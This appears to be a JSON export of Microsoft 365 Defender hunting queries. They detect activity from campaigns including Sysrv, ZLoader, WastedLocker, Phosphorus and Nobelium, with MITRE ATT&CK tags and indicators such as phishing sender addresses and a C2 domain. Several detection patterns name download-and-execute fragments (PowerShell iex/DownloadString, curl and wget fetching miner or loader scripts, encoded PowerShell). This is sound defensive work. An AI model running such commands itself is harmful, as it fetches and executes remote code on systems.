    "content": "# Java process executing command line to download and execute PowerShell script\n\nThis query was originally published in the threat analytics report, *Sysrv botnet evolution*.\n\nSysrv is a Go-based botnet that targets both Windows and Linux servers, and steals resources to mine cryptocurrency.\n\nThe following query finds instances of the Java process being used to execute cmd.exe, and download and execute a PowerShell script.\n\n## Query\n\n```kusto\nDeviceProcessEvents                         \n| where InitiatingProcessFileName == 'java.exe' and FileName == 'cmd.exe' \nand ProcessCommandLine has_all('powershell iex','DownloadString')\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\nTechnique, tactic, or state | Covered? (v=yes) | Notes\n-|-|-\nInitial access |  |  \nExecution | v |  \nPersistence |  |  \nPrivilege escalation |  |  \nDefense evasion | v |  \nCredential Access |  |  \nDiscovery |  |  \nLateral movement |  |  \nCollection |  |  \nCommand and control |  |  \nExfiltration |  |  \nImpact |  |  \nVulnerability |  |  \nExploit |  |  \nMisconfiguration |  |  \nMalware, component |  |  \nRansomware |  |  \n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/Sysrv-botnet/kinsing-miner-download.md",
    "content": "# Kinsing miner download\n\nThis query was originally published in the threat analytics report, *Sysrv botnet evolution*.\n\nSysrv is a Go-based botnet that targets both Windows and Linux servers, and steals resources to mine cryptocurrency.\n\nThe following query finds instances where the attacker commanded the Kinsing miner file to be downloaded on Linux devices.\n\n## Query\n\n```kusto\nDeviceProcessEvents\n| where ProcessCommandLine has_all('curl', '-o /etc/kinsing')\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\nTechnique, tactic, or state | Covered? (v=yes) | Notes\n-|-|-\nInitial access |  |  \nExecution | v |  \nPersistence |  |  \nPrivilege escalation |  |  \nDefense evasion | v |  \nCredential Access |  |  \nDiscovery |  |  \nLateral movement |  |  \nCollection |  |  \nCommand and control |  |  \nExfiltration |  |  \nImpact |  |  \nVulnerability |  |  \nExploit |  |  \nMisconfiguration |  |  \nMalware, component | v |  \nRansomware |  |  \n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/Sysrv-botnet/oracle-webLogic-executing-powershell.md",
    "content": "# Oracle WebLogic process wlsvcX64.exe exploitation and execution of PowerShell script to download payloads\n\nThis query was originally published in the threat analytics report, *Sysrv botnet evolution*.\n\nSysrv is a Go-based botnet that targets both Windows and Linux servers, and steals resources to mine cryptocurrency.\n\nThe following query finds instances of Oracle WebLogic being exploited to run a PowerShell script that downloads payloads.\n\n## Query\n\n```kusto\nunion DeviceProcessEvents, DeviceFileEvents\n| where InitiatingProcessParentFileName =~ 'wlsvcX64.exe' and InitiatingProcessFileName =~ 'powershell.exe'\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\nTechnique, tactic, or state | Covered? (v=yes) | Notes\n-|-|-\nInitial access |  |  \nExecution | v |  \nPersistence |  |  \nPrivilege escalation |  |  \nDefense evasion | v |  \nCredential Access |  |  \nDiscovery |  |  \nLateral movement |  |  \nCollection |  |  \nCommand and control |  |  \nExfiltration |  |  \nImpact |  |  \nVulnerability |  |  \nExploit |  |  \nMisconfiguration |  |  \nMalware, component |  |  \nRansomware |  |  \n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/Sysrv-botnet/rce-on-vulnerable-server.md",
    "content": "# Remote code execution on vulnerable server\n\nThis query was originally published in the threat analytics report, *Sysrv botnet evolution*.\n\nSysrv is a Go-based botnet that targets both Windows and Linux servers, and steals resources to mine cryptocurrency.\n\nThe following query finds instances of remote code execution on a vulnerable Linux server.\n\n## Query\n\n```kusto\nDeviceProcessEvents\n| where InitiatingProcessCommandLine has \"php-cgi.exe\"\n| where ProcessCommandLine has_all ('curl -fsSL', '/ldr.sh', 'wget -q -O')\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\nTechnique, tactic, or state | Covered? (v=yes) | Notes\n-|-|-\nInitial access |  |  \nExecution | v |  \nPersistence |  |  \nPrivilege escalation |  |  \nDefense evasion |  |  \nCredential Access |  |  \nDiscovery |  |  \nLateral movement |  |  \nCollection |  |  \nCommand and control |  |  \nExfiltration |  |  \nImpact |  |  \nVulnerability |  |  \nExploit |  |  \nMisconfiguration |  |  \nMalware, component | v |  \nRansomware |  |  \n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/Sysrv-botnet/tomcat-8-executing-powershell.md",
    "content": "# Tomcat 8 process executing PowerShell command line to perform data exploitation activities and setting up scheduler tasks.\n\nThis query was originally published in the threat analytics report, *Sysrv botnet evolution*.\n\nSysrv is a Go-based botnet that targets both Windows and Linux servers, and steals resources to mine cryptocurrency.\n\nThe following query finds instances of Apache Tomcat 8 being exploited to execute encoded PowerShell commands.\n\n## Query\n\n```kusto\nDeviceProcessEvents\n| where InitiatingProcessParentFileName startswith 'tomcat'\n| where InitiatingProcessFileName in~(\"cmd.exe\", \"powershell.exe\") and InitiatingProcessCommandLine hasprefix '-enc '\nand ProcessCommandLine has_any ('cmd.exe','powershell.exe','sc.exe','schtasks.exe','WMIC.exe')\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\nTechnique, tactic, or state | Covered? (v=yes) | Notes\n-|-|-\nInitial access |  |  \nExecution | v |  \nPersistence |  |  \nPrivilege escalation |  |  \nDefense evasion | v |  \nCredential Access |  |  \nDiscovery |  |  \nLateral movement |  |  \nCollection |  |  \nCommand and control |  |  \nExfiltration |  |  \nImpact |  |  \nVulnerability |  |  \nExploit |  |  \nMisconfiguration |  |  \nMalware, component |  |  \nRansomware |  |  \n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/Threat actor Phosphorus masquerading as conference organizers.md",
    "content": "# Threat actor Phosphorus masquerading as conference organizers\n\nIdentify prior activity from this campaign using IOCs shared by Microsoft’s Threat Intelligence Center, or MSTIC.\n\nRead more: https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/\n\n## Query\n```\n//All emails from the threat actor Phosphorus, masquerading as conference organizers, based on the IOCs shared \n// by Microsoft’s Threat Intelligence Center in: https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/\nlet MaliciousSenders = dynamic([\"t20saudiarabia@outlook.sa\", \"t20saudiarabia@hotmail.com\", \"t20saudiarabia@gmail.com\", \"munichconference@outlook.com\",  \n\"munichconference@outlook.de\", \"munichconference1962@gmail.com\"]);\nEmailEvents\n| where SenderFromAddress  in~ (MaliciousSenders)\n\n//Filter for emails that were delivered check the FinalEmailAction to see if there was policy applied on this email\nlet MaliciousSenders = dynamic([\"t20saudiarabia@outlook.sa\", \"t20saudiarabia@hotmail.com\", \"t20saudiarabia@gmail.com\", \"munichconference@outlook.com\",  \n\"munichconference@outlook.de\", \"munichconference1962@gmail.com\"]);\nEmailEvents\n| where SenderFromAddress  in~ (MaliciousSenders) and DeliveryAction == \"Delivered\"\n\n//Filter for emails that were delivered and check if there was any action taken on them post delivery, by joining with EmailPostDeliveryEvents\nlet MaliciousSenders = dynamic([\"t20saudiarabia@outlook.sa\", \"t20saudiarabia@hotmail.com\", \"t20saudiarabia@gmail.com\", \"munichconference@outlook.com\",  \n\"munichconference@outlook.de\", \"munichconference1962@gmail.com\"]);\nEmailEvents\n| where SenderFromAddress  in~ (MaliciousSenders) and DeliveryAction == \"Delivered\"\n| join EmailPostDeliveryEvents on NetworkMessageId, RecipientEmailAddress \n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | V |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n**Contributor:** Tali Ash\n\n**GitHub alias:** tali-ash\n\n**Organization:** Microsoft\n\n**Contact info:** @Taliash1\n"
  },
  {
    "path": "Campaigns/WastedLocker Downloader.md",
    "content": "# WastedLocker Downloader\n\nThis query identifies the launch pattern associated with wastedlocker ransomware.\nReference writeup: https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us\n\n## Query\n\n```\nDeviceProcessEvents\n| where InitiatingProcessFileName =~ 'wscript.exe' and FileName =~ 'powershell.exe' and InitiatingProcessCommandLine matches regex @\"(?i)\\\\chrome\\.update\\..+?\\.js\"\n```\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |v|  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\n**Contributor:** Michael Melone\n\n**GitHub alias:** mjmelone\n\n**Organization:** Microsoft\n\n**Contact info:** @PowershellPoet\n"
  },
  {
    "path": "Campaigns/ZLoader/Malicious bat file.md",
    "content": "# Malicious .bat file in suspicious Oracle Java SE folder path\nZLoader was delivered in a campaign in late summer 2021. This campaign was tweeted by @MsftSecIntel on twitter. \n\n## Query\nThis query looks for the suspicious .bat file placed in the folder using a specific naming convention purporting to be Java-related.\n```\nDeviceFileEvents\n| where FileName endswith '.bat'\n    and FolderPath has @'Program Files (x86)\\Sun Technology Network\\Oracle Java SE'\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | v |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/ZLoader/Payload Delivery.md",
    "content": "# Tim.exe payload delivery\nZLoader was delivered in a campaign in summer 2021 via malvertising. This campaign was tweeted about by @MsftSecIntel on twitter.\n\n## Query\nThis query looks for delivery of the malicious payload, Tim.exe. \n```\nDeviceNetworkEvents\n| where InitiatingProcessFileName =~ 'powershell.exe'\n    and InitiatingProcessCommandLine has('Invoke-WebRequest') and InitiatingProcessCommandLine endswith '-OutFile tim.EXE'\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/ZLoader/Suspicious Registry Keys.md",
    "content": "# Suspicious Registry Keys\nZLoader was delivered in a campaign in late summer 2021 using malvertising to download malicious .msi files onto affected machines. This campaign was originally tweeted by @MsftSecIntel on Twitter.\nIn this campaign, the malicious .msi files create registry keys that use that attacker-created comapny names.\n\n## Query\nThis query looks for the suspicious registry keys created by the attacker-created companies.\n```\nDeviceRegistryEvents\n| where RegistryValueData in('Flyintellect Inc.', 'Datalyst ou')\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence | v |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/apt sofacy zebrocy.txt",
    "content": "// Original Sigma Rule: https://github.com/Neo23x0/sigma/blob/master/rules/apt/apt_sofacy_zebrocy.yml\n// Questions via Twitter: @janvonkirchheim\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where ProcessCommandLine endswith \"cmd.exe /c SYSTEMINFO & TASKLIST\"\n| top 100 by Timestamp desc\n"
  },
  {
    "path": "Campaigns/apt sofacy.txt",
    "content": "// Original Sigma Rule: https://github.com/Neo23x0/sigma/blob/master/rules/apt/apt_sofacy.yml\n// Questions via Twitter: @janvonkirchheim\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where ProcessCommandLine matches regex @'rundll32\\.exe %APPDATA%.*\\.dat\",'\n     or ProcessCommandLine matches regex @'rundll32\\.exe %APPDATA%.*\\.dll\",#1'\n| top 100 by Timestamp desc\n"
  },
  {
    "path": "Campaigns/apt ta17 293a ps.txt",
    "content": "// Original Sigma Rule: https://github.com/Neo23x0/sigma/blob/master/rules/apt/apt_ta17_293a_ps.yml\n// Questions via Twitter: @janvonkirchheim\nDeviceProcessEvents \n| where Timestamp > ago(7d)\n| where ProcessCommandLine =~ \"ps.exe -accepteula\"\n| top 100 by Timestamp desc \n"
  },
  {
    "path": "Campaigns/apt tropictrooper.txt",
    "content": "// Original Sigma Rule: https://github.com/Neo23x0/sigma/blob/master/rules/apt/apt_tropictrooper.yml\n// Questions via Twitter: @janvonkirchheim\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where ProcessCommandLine contains \"abCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCc\"\n| top 100 by Timestamp desc\n"
  },
  {
    "path": "Campaigns/apt unidentified nov 18.txt",
    "content": "// Original Sigma Rule: https://github.com/Neo23x0/sigma/blob/master/rules/apt/apt_unidentified_nov_18.yml\n// Questions via Twitter: @janvonkirchheim\nDeviceProcessEvents \n| where Timestamp > ago(7d)\n| where ProcessCommandLine endswith \"cyzfc.dat, PointFunctionCall\" \n| top 100 by Timestamp desc\n\nDeviceFileEvents  \n| where Timestamp  > ago(7d)\n| where FolderPath has \"ds7002.lnk\"\n| top 100 by Timestamp desc \n"
  },
  {
    "path": "Campaigns/c2-lookup-from-nonbrowser[Nobelium].md",
    "content": "# Locate Nobelium implant receiving DNS response\n\nThis query was originally published in the threat analytics report, *Solorigate supply chain attack*. Please note that these attacks are currently known as the *Nobelium campaign*.\n\nMicrosoft detects the [2020 SolarWinds supply chain attack](https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/) implant and its other components as part of a campaign by the Nobelium activity group. Nobelium is the threat actor behind the attack against SolarWinds, which was previously referred to as [*Solorigate*](https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/).\n\nNobelium silently added malicious code to legitimate software updates for Orion, which is IT monitoring software provided by SolarWinds. In this way, malicious dynamic link libraries (DLLs) were distributed to SolarWinds customers.\n\nThe following query detects events when Nobelium received a DNS response after launching a lookup request to known command-and-control infrastructure.\n\nMore Nobelium-related queries can be found listed under the [See also](#see-also) section of this document.\n\n## Query\n\n```kusto\nDeviceEvents\n| where ActionType == \"DnsQueryResponse\" //DNS Query Response\nand AdditionalFields has \".avsvmcloud\"\n\nIdentityQueryEvents\n| where ActionType == \"DNS query\"\n| where QueryTarget has \"appsync-api\" or QueryTarget has \"avsvmcloud.com\"\n| project Timestamp, QueryTarget, DeviceName ,IPAddress,ReportId\n\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control | v |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](./c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](./compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](./fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](./fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](./known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](./launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](./launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](./locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](./locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](./possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](../Exfiltration/Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](../Exfiltration/MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](../Exfiltration/OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/c2-lookup-response[Nobelium].md",
    "content": "# Locate Nobelium implant receiving DNS response\n\nThis query was originally published in the threat analytics report, *Solorigate supply chain attack*. Please note that these attacks are currently known as the *Nobelium campaign*.\n\nMicrosoft detects the [2020 SolarWinds supply chain attack](https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/) implant and its other components as part of a campaign by the Nobelium activity group. Nobelium is the threat actor behind the attack against SolarWinds, which was previously referred to as [*Solorigate*](https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/).\n\nNobelium silently added malicious code to legitimate software updates for Orion, which is IT monitoring software provided by SolarWinds. In this way, malicious dynamic link libraries (DLLs) were distributed to SolarWinds customers.\n\nThe following query detects events when Nobelium received a DNS response after launching a lookup request to known command-and-control infrastructure.\n\nMore Nobelium-related queries can be found listed under the [See also](#see-also) section of this document.\n\n## Query\n\n```kusto\nDeviceEvents\n| where ActionType == \"DnsQueryResponse\" //DNS Query Response\nand AdditionalFields has \".avsvmcloud\"\n\nIdentityQueryEvents\n| where ActionType == \"DNS query\"\n| where QueryTarget has \"appsync-api\" or QueryTarget has \"avsvmcloud.com\"\n| project Timestamp, QueryTarget, DeviceName, IPAddress, ReportId\n\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control | v |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](./c2-lookup-from-nonbrowser[Nobelium].md)\n* [Compromised certificate [Nobelium]](./compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](./fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](./fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](./known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](./launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](./launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](./locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](./locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](./possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](../Exfiltration/Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](../Exfiltration/MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](../Exfiltration/OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Campaigns/cobalt-strike-invoked-w-wmi.md",
    "content": "# Detect Cobalt Strike invoked via WMI\n\nThis query was originally published in the threat analytics report, *Ryuk ransomware*. There is also a related [blog](https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/).\n\n[Ryuk](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/Ryuk&threatId=-2147232689) is human-operated ransomware. Much like [DoppelPaymer](https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/) ransomware, Ryuk is spread manually, often on networks that are already infected with Trickbot.\n\nDuring the earliest stages of a Ryuk infection, an operator downloads [Cobalt Strike](https://www.cobaltstrike.com/), a penetration testing kit that is also used by malicious actors. Cobalt Strike is used by Ryuk operators to explore the network before deploying the Ryuk payload. This malicious behavior is often obscured by Base64 encoding and other tricks.\n\nThe following query detects possible invocation of Cobalt Strike using [Windows Management Instrumentation](https://docs.microsoft.com/windows/win32/wmisdk/wmi-start-page) (WMI).\n\nThe [See also](#See-also) section below lists links to other queries associated with Ryuk ransomware.\n\n## Query\n\n```Kusto\n// Find use of Base64 encoded PowerShell\n// Indicating possible Cobalt Strike \nDeviceProcessEvents\n| where Timestamp > ago(7d)\n// Only WMI-initiated instances, remove to broaden scope\n| where InitiatingProcessFileName =~ 'wmiprvse.exe'\n| where FileName =~ 'powershell.exe'\n and (ProcessCommandLine hasprefix '-e' or \n ProcessCommandLine contains 'frombase64')\n// Check for Base64 with regex\n| where ProcessCommandLine matches regex '[A-Za-z0-9+/]{50,}[=]{0,2}'\n// Exclusions: The above regex may trigger false positive on legitimate SCCM activities. \n// Remove this exclusion to search more broadly.\n| where ProcessCommandLine !has 'Windows\\\\CCM\\\\'\n| project DeviceId, Timestamp, InitiatingProcessId, \nInitiatingProcessFileName, ProcessId, FileName, ProcessCommandLine\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Detect PsExec being used to spread files](../Lateral%20Movement/remote-file-creation-with-psexec.md)\n* [Detect credential theft via SAM database export by LaZagne](../Credential%20Access/lazagne.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/compromised-certificate[Nobelium].md",
    "content": "# Compromised certificate [Nobelium]\n\nSearch for the files that are using a compromised certificate associated with the Nobelium campaign.\n\nYou can remove the comments to:\n\n* get the list of devices where there is at least one file signed with the certificate\n* get the list of files signed with the certificate\n* get the list of files signed with the certificate group by Devices\n\n## Query\n\n```Kusto\nDeviceFileCertificateInfo\n| where Signer == 'Solarwinds Worldwide, LLC' and SignerHash == '47d92d49e6f7f296260da1af355f941eb25360c4'\n| join DeviceFileEvents on SHA1\n| distinct DeviceName, FileName, FolderPath, SHA1, SHA256, IsTrusted, IsRootSignerMicrosoft, SignerHash\n//| distinct DeviceName\n//| distinct FileName\n//| summarize mylist = make_list(FileName) by DeviceName\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes 